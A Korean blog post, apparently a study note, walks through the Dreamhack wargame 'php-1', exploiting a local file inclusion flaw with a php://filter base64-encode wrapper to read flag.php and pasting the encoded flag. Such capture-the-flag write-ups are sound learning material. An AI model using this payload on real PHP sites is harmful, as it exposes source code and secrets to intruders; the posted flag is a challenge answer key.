공부/웹해킹 (Web hacking)

[드림핵 | 웹해킹] LEVEL 1: php-1

eunjuu 2024. 5. 2. 19:10
728x90

👾 문제 설명

php로 작성된 Back Office 서비스입니다.

LFI 취약점을 이용해 플래그를 획득하세요. 플래그는 /var/www/uploads/flag.php에 있습니다.

 

📎 https://dreamhack.io/wargame/challenges/46

 

php-1

php로 작성된 Back Office 서비스입니다. LFI 취약점을 이용해 플래그를 획득하세요. 플래그는 /var/www/uploads/flag.php에 있습니다. Reference Server-side Basic

dreamhack.io


 

문제 파일을 다운로드 한다.

 

 

4개의 파일이 존재한다. 각 파일 당 주요 부분을 공유해보겠다.

 

접속 정보에 "서버 생성하기"를 눌러서 링크에 접속한다. 

 

List의 flag.php를 클릭했더니 Permission denied 가 떴다.

 

🛼 view.php

소스코드를 확인해보니 flag 문자 자체를 필터링했다.

🛼 index.php

index.php에서 include 함수를 통해 main.php를 GET방식으로 불러온다.

 

include시 가장 많이 쓰이는 구문은 base64등으로 인코딩하여 php tag를 인코딩시켜 코드가 실행되지 않고 출력되도록하여 소스코드를 노출시키는 방법을 많이 쓴다고 한다.

 

index.php?page=php://filter/read=convert.base64-encode/resource=../uploads/flag

 

php://filter/ 통해서 /var/www/uploads/flag.php 파일을 읽어보았다.

이렇게 뜬다. 위에 네비바가 텍스트를 가리는데 일단 복사하겠다.

 

PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==

 

https://www.base64decode.org/

 

Base64 Decode and Encode - Online

Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64decode.org

 

728x90